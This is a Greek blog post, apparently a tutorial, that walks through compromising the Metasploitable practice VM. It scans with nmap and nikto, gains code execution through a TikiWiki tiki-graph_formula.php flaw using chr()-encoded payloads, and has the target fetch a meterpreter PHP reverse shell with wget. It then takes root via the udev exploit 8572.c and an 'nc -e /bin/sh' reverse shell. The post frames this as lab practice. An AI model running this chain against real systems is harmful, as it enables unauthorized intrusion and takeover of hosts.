RSS

Μίνι διαγωνισμός CTF με στόχο ένα μηχάνημα linux.

07 Jan

Έχουν υπάρξει πολλές φορές που ενώ πίνουμε τον καφέ μας βυθιζόμαστε σε σκέψεις και αναρωτιόμαστε σιωπηλά, “πόσο εύκολο είναι άραγε για κάποιον να αποκτήσει πρόσβαση σε εκείνο το παλιό μηχάνημα που τρέχει ξεχασμένο σε μια γωνιά του δικτύου μας και όλο αναβάλουμε την αναβάθμιση του;”.

Απάντηση στο παραπάνω ερώτημα θα προσπαθήσουμε δώσουμε, αλλά όχι φιλοσοφική, ούτε καν θεωρητική! Θα δούμε στην πράξη πόσο εύκολο είναι για κάποιον να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε ένα κακοσυντηρημένο μηχάνημα και στη συνέχεια, πώς μπορεί να αποκτήσει δικαιώματα root σε αυτό.

Για τις ανάγκες του παρόντος άρθρου -και για μην θέσουμε σε κίνδυνο κάποιο πραγματικό μηχάνημα μας- θα χρησιμοποιήσουμε σαν στόχο ένα εικονικό μηχάνημα το οποίο μας παρέχεται ελεύθερα και δωρεάν απ’ την ομάδα ανάπτυξης του Metasploit Framework και ακούει στο όνομα “metasploitable”. Για όσους δεν το είχαν ακούσει στο παρελθόν ή δεν έτυχε ποτέ να ασχοληθούν μαζί του θα θέλαμε να αναφέρουμε επιγραμματικά ότι το metasploitable είναι ένα εικονικό μηχάνημα στημένο σε ένα VMWare 6.5 image και βασισμένο σε Ubuntu 8.04 server. Λόγω του πλήθους τον ανενημέρωτων εφαρμογών που τρέχει, το metasploitable αποτελεί ένα άκρως ευπαθές σύστημα.

Όχι, δεν θα πρέπει να σας παραξενεύει αυτό που μόλις αναφέραμε μιας και κατασκευάστηκε γι’ αυτό ακριβώς το σκοπό! Για να είναι ευάλωτο σε επιθέσεις κυρίως με τη χρήση έτοιμων exploits μέσα απ’ metasploit framework. Κατά την άποψη μας, ένα τέτοιο εικονικό μηχάνημα, αποτελεί τον κατάλληλο στόχο για κάποιον ο οποίος θέλει να εξασκηθεί πάνω στον τομέα του penetration testing αλλά χωρίς (το τονίζουμε αυτό!) να χρειάζεται να επιτεθεί σε πραγματικά συστήματα τα οποία δεν του ανήκουν ή δεν έχει εξουσιοδοτηθεί για μία τέτοια ενέργεια και σίγουρα μπορεί να τον μπλέξει σε αρκετούς μπελάδες. Βέβαια, δεν θα πρέπει να ξεχνάμε ότι και ένα απλό καθημερινό μηχάνημα με ανενημέρωτες εφαρμογές δεν διαφέρει σε ευπάθεια, τίποτα απ’ το metasploitable. Μπορείτε, να κατεβάσαμε το image του metasploitable ελεύθερα μέσω torrent απο εδώ.

Σενάριο: Έστω ότι, βρισκόμαστε σε έναν διαγωνισμό CTF (Capture The Flag) οπου φυσικά δεν γνωρίζουμε το στόχο (Black Box) καθώς επίσης δεν μας παρέχεται πρόσβαση στον internet.

Βήμα 1ο – Information Gathering.

Το πρώτο πράγμα που πρέπει να κάνουμε είναι να ανακαλύψουμε σε ποία διεύθυνση ip αντιστοιχεί ο στόχος.
Δίνουμε σε ένα τερματικό:

root@bt:~# nmap 192.168.178.*

ώστε, να ελέγχουμε όλο το δίκτυο στο οποίο ανήκουμε για ενεργούς hosts. Μετά από λίγη ώρα, μαζί με άλλα αποτελέσματα για τα υπόλοιπα μηχανήματα του δικτύου (Εικόνα 1), το scanάρισμα θα μας επιστραφεί:

Nmap scan report for noname (192.168.178.26)
Host is up (0.00020s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
5432/tcp open  postgresql
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:40:0F:B4 (VMware)


Εικόνα 1 : Ανακαλύψαμε την διεύθυνση ip του στόχου.

Ετσι ανακαλύψαμε, ότι ο στόχος βρίσκεται στην διεύθυνση “192.168.178.26”. Επόμενο βήμα (πάλι με το nmap) είναι να ελέγξουμε τι εφαρμογές τρέχουν στις ανοιχτές ports του στόχου μας. Σε αυτό θα μας βοηθήσει η παράμετρος “-sV” η οποία θα μας εμφανίσει και την έκδοση για κάθε εφαρμογή (Εικόνα 2).

root@bt:~# nmap -O -sV 192.168.178.26
Starting Nmap 5.51 ( http://nmap.org ) at 2011-06-24 13:16 EEST
Nmap scan report for noname (192.168.178.26)
Host is up (0.00026s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13?
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:40:0F:B4 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux


Εικόνα 2 : Ανακαλύψαμε τις εκδόσεις των εφαρμογών που τρέχουν στο στόχο.

Σαν πρώτο βήμα, ελέγχουμε τι υπάρχει πίσω απ’ την port 80. Εισάγουμε στον browser “http://192.168.178.26” αλλά δυστυχώς, το αποτέλεσμα δεν ήταν καθόλου κατατοπιστικό μιας και εμφανίστηκε μια άσπρη σελίδα με ένα ξερό “It works!”. Έτσι σκεφτόμαστε λίγο πονηρά, Θα βάλουμε ένα εργαλείο να ψάξει για ενεργά directories και πιθανά vulnerabilities. Γι’ αυτή τη δουλεία, θα χρησιμοποιήσουμε το nikto (/pentest/web/nikto/).

root@bt:~# cd /pentest/web/nikto/
root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.178.26
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP:          192.168.178.26
+ Target Hostname:    192.168.178.26
+ Target Port:        80
+ Start Time:         2011-06-25 13:20:52
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
+ ETag header found on server, inode: 67575, size: 45, mtime: 0x481ffa5ca8840
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Number of sections in the version string differ from those in the database, the server reports: php/5.2.4-2ubuntu5.10 while the database has: 5.3.5. This may cause false positives.
+ PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 5.3.5)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ OSVDB-3233: /phpinfo.php: Contains PHP configuration information
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code.
+ 6448 items checked: 2 error(s) and 11 item(s) reported on remote host
+ End Time:           2011-06-25 13:21:43 (51 seconds)
---------------------------------------------------------------------------

Αφού ολοκληρωθεί η διαδικασία, καθόμαστε και διαβάζουμε τα αποτελέσματα που έχουν εμφανιστεί (Εικόνα 3).


Εικόνα 3 : Το scanάρισμα με το nikto ολοκληρώθηκε!

Υπάρχει ένα directory “/tikiwiki/” με εγκατεστημένη μεσα την έκδοση “1.9.5” του TikiWiki CMS (Εικόνα 4).


Εικόνα 4 : H εφαρμογή tikiwiki μας περιμένει..

Δυστυχώς, δεν έχουμε πρόσβαση στο internet ώστε να ψάξουμε για διαθέσιμα exploits. Φυσικά, μια εναλλακτική θα ήταν να εκτελέσουμε κάποιο έτοιμο exploit για το “tikiwiki” μέσα απ’ το metasploit, αλλά εμείς προτιμάμε να συνεχίσουμε manually.

Παρατηρούμε στο report του nikto ότι:

+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code.

Δοκιμάζουμε να το εκτελέσουμε -όπως είναι- για να δούμε τι ανταπόκριση θα πάρουμε απ’ τον στόχο (Εικόνα 5):

http://192.168.178.26/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=


Εικόνα 5 : Εκτελέσαμε με επιτυχία την συνάρτηση phpinfo()

Βήμα 2ο – Exploiting the target.

Υπάρχει όντως ένα -εν’ δυνάμει- κενό ασφαλείας το οποίο μπορεί να επιτρέψει σε έναν κακόβουλο απομακρυσμένο επιτιθέμενο να εκτελέσει αυθαίρετα ότι εντολές επιθυμεί. Το κενό ασφαλείας, οφείλεται στο αρχείο “tiki-graph_formula.php” το οποίο δε φιλτράρει σωστά τα inputs που πιθανώς να κάνει ο χρήστης. Αποτέλεσμα, να μας επιστραφεί κάτι σαν την εικόνα 5. Όπως μπορούμε να αντιληφθούμε, μέσω της παραμέτρου “f” καταφέρνουμε να εκτελέσουμε συναρτήσεις της PHP κατά βούληση (όπως η phpinfo() που μόλις εκτελέσαμε). Έτσι, αρχίζουμε να αναρωτιόμαστε, “τι θα γινόταν άραγε, αν αντί για την συνάρτηση “phpinfo()” εκτελούσαμε την system();

Κρίνοντας απ’ το αποτέλεσμα της προηγούμενης εκτέλεσης, μπορούμε να υποθέσουμε περίπου τι περιμένουμε να πάρουμε σαν αποτέλεσμα. Αλλά, ας το δοκιμάσουμε! Η πιο απλή εντολή με την οποίο μπορούμε να “συνοδεύσουμε” την συνάρτηση “system()”, είναι η εντολή “ls” η οποία και θα κάνει listing στα τα αρχεία και τους φακέλους τα οποία βρίσκονται μέσα στον τρέχοντα φάκελο όπου βρισκόμαστε και εμείς. Θα χρειαστεί, να μετατρέψουμε σε characters την εντολή “ls” πριν την εκτελέσουμε οπότε, ετοιμάσαμε ένα απλό script (σε perl) γι’ αυτή τη δουλεία :

$cmd = "ls";
foreach  $i (unpack('C*', $cmd))
{
	print "chr(".$i.") ";
}

Εκτελούμε :

root@bt:~# chr.pl
chr(108) chr(115)

Έτσι αντικαθιστούμε:

http://192.168.178.26/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.system(chr(108).chr(115))&t=png&title=

Καταφέραμε να εκτελέσουμε την εντολή “ls” στο στόχο (Εικόνα 6). Άρα, με τον ίδιο τρόπο θα μπορούμε να εκτελέσουμε και άλλες εντολές (cp, mv, wget κτλ) αλλά δυστηχώς, με τα δικαιώματα του χρήστη “www-data”. Τι θα λέγατε, αν δοκιμάζαμε να σηκώσουμε ένα backdoor shell στο στόχο; Δε μπορούμε να χρησιμοποιήσουμε το internet για να κατεβάσουμε κάποιο έτοιμο shell αλλά κανείς, δεν μας απαγορεύει να το δημιουργήσουμε μόνοι μας.


Εικόνα 6 : Δεν ήταν δύσκολο τελικά να δούμε όλα τα αρχεία του τρέχοντος φακέλου.

Σε αυτό θα μας βοηθήσει το msfpayload του metasploit, με το οποίο θα κατασκευάσουμε ένα reverse tcp meterpreter payload σε format PHP.

root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.178.25 LPORT=4444 R > shell.php

Αφού δημιουργήθηκε το αρχείο “shell.php”, το μετονομάζουμε σε “shell.txt”

root@bt:~# mv shell.php shell.txt

…ενώ στη συνέχεια το αντιγράφουμε στον κατάλογο /var/www/ και του αλλάζουμε τα δικαιώματα.

root@bt:~# cp shell.txt /var/www/
root@bt:~# cd /var/www/
root@bt:/var/www# chmod 777 shell.txt

Τέλος, ενεργοποιούμε τον δαίμονα του apache.

root@bt:~# /etc/init.d/apache2 start

Εναλλακτικά: Applications -> BackTrack -> Services -> HTTPD -> apache start
Δόλιος σκοπός μας, να εκτελέσουμε στο μηχάνημα του στόχου την εντολή:

wget http://192.168.178.25/shell.txt -O temp/shell.php

με την οποία, αφού γίνει download (απ’ το μηχάνημα μας) το αρχείο “shell.txt”, θα μεταφερθεί στο directory /temp (όπου ανακαλύψαμε εκτελώντας την εντολή “ls -la” ότι είναι εγγράψιμο απ’ τον χρήστη “www-data”) και θα μετονομαστεί σε “shell.php” (Εικόνα 7). Έτσι, μετατρέπουμε όλη την παραπάνω εντολή σε characters και την εκτελούμε:

http://192.168.178.26/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.system(chr(119).chr(103).chr(101).chr(116).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(49).chr(57).chr(50).chr(46).chr(49).chr(54).chr(56).chr(46).chr(49).chr(55).chr(56).chr(46).chr(50).chr(53).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(116).chr(120).chr(116).chr(32).chr(45).chr(79).chr(32).chr(116).chr(101).chr(109).chr(112).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112)).die()&t=png&title=


Εικόνα 7 : Θα χρησιμοποιήσουμε το directory /temp για να “σηκώσουμε” το αρχείο μας.

Αφού ολοκληρωθεί η παραπάνω διαδικασία, ανοίγουμε ένα καινούριο τερματικό στο μηχάνημα μας και ξεκινάμε έναν multi handler listener :

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.25
LHOST => 192.168.178.25
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.178.25:4444
[*] Starting the payload handler...

Έχοντας λοιπόν ανοιχτό τον listener να περιμένει για κάποια σύνδεση στην port 4444, επιστρέφουμε στο browser και σε ένα νέο παράθυρο καλούμε http://192.168.178.26/tikiwiki/temp/shell.php ώστε να εκτελεστεί το shell.php και να επιστρέψει reverse connection πίσω σε εμάς. Επιτέλους, καταφέραμε να αποκτήσουμε local πρόσβαση στο μηχάνημα του στόχου (Εικόνα 8).

Εικόνα 8 : Αποκτήσαμε local πρόσβαση στο μηχάνημα.

Βήμα 3ο – Rooting the box…

Σκοπός τώρα, είναι να επιτύχουμε privileges escalation και από unprivileged user του apache “www-data” να γίνουμε root. Το πρώτο πραγμα που ελέγχουμε, είναι τα services που τρέχουν (στο στόχο) με δικαιώματα root.
Εκτελούμε

ps aux | grep root

Στεκόμαστε για λίγο στο udev, το πρόγραμμα δηλαδή που ελέγχει τις συσκευές (/dev) στο linux.

root      2576  0.0  0.1   2224   652 ?        S<s>

Μέχρι την έκδοση 1.4.1, το udev δεν έλεγχε εαν ένα netlink message προερχόταν από το kernel space ή το user space, με αποτέλεσα να επιτρέπει σε απλούς χρήστες (στέλνοντας κάποιο netlink message απ’ το user space) να αποκτούν δικαιώματα root. Για να ανακαλύψουμε την τρέχουσα έκδοση του udev, γράφουμε “udevinfo –version”. Μας επιστρέφει “117” (δηλαδή 1.1.7).

Ψάχνουμε λοιπόν, στην local database (που διαθέτει το backtrack) για διαθέσημα exploits ενάντια στο udev.

root@bt:~# grep -i "udev" /pentest/exploits/exploitdb/files.csv
8478,platforms/linux/local/8478.sh,"Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit",2009-04-20,Kingcope,linux,local,0
8572,platforms/linux/local/8572.c,"Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit",2009-04-30,"Jon Oberheide",linux,local,0 

Ανακαλύψαμε δύο exploits τα οποία αμφότερα “παίζουν” για προγενέστερες της 1.4.1 εκδόσεις του udev. Επιλέγουμε το “8572.c” και το αντιγράφουμε στον κατάλογο “/var/www/”

 root@bt:~# cp /pentest/exploits/exploitdb/platforms/linux/local/8572.c /var/www/ 

Επιστρέφουμε στο τερματικό που μας παρέχει local πρόσβαση στο στόχο και “κατεβάζουμε” το exploit.

 wget http://192.168.178.25/8572.c 

Αφού ολοκληρωθεί η διαδικασία, κάνουμε compile

 gcc 8572.c -o exploit 

Στη συνέχεια, δημιουργούμε ένα αρχείο με την ονομασια “run” στον κατάλογο “/tmp”, ώστε όταν εκτελεστεί το exploit, να δοκιμάσει με τη σειρά του να εκτελέσει το εν’ λόγω αρχείο αλλά, με δικαιώματα root.

 echo '#!/bin/sh' >> /tmp/run
echo '/bin/nc -e /bin/sh 192.168.178.25 1337' >> /tmp/run

Τέλος, ανοίγουμε σε καινούριο τερματικό έναν listener για την port 1337 και περιμενουμε

root@bt:~# nc -lvp 1337
listening on [any] 1337 ...

Για να εκτελέσουμε το exploit, θα πρέπει να γνωρίζουμε το PID του udev και όπως είδαμε πριν, ήταν το 2576. Προσοχή, το συγκεκριμένο exploit δεν δουλεύει με το ακριβές PID αλλά με το PID-1.

Εκτελούμε:

./exploit 2575

…και μας, επιστρέφει reverse connection στην port 1337, με δικαιώματα root! (Εικόνα 9).

Εικόνα 9 : Got root!

 
Leave a comment

Posted by on January 7, 2012 in It's Greek to Me

 

Tags: , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: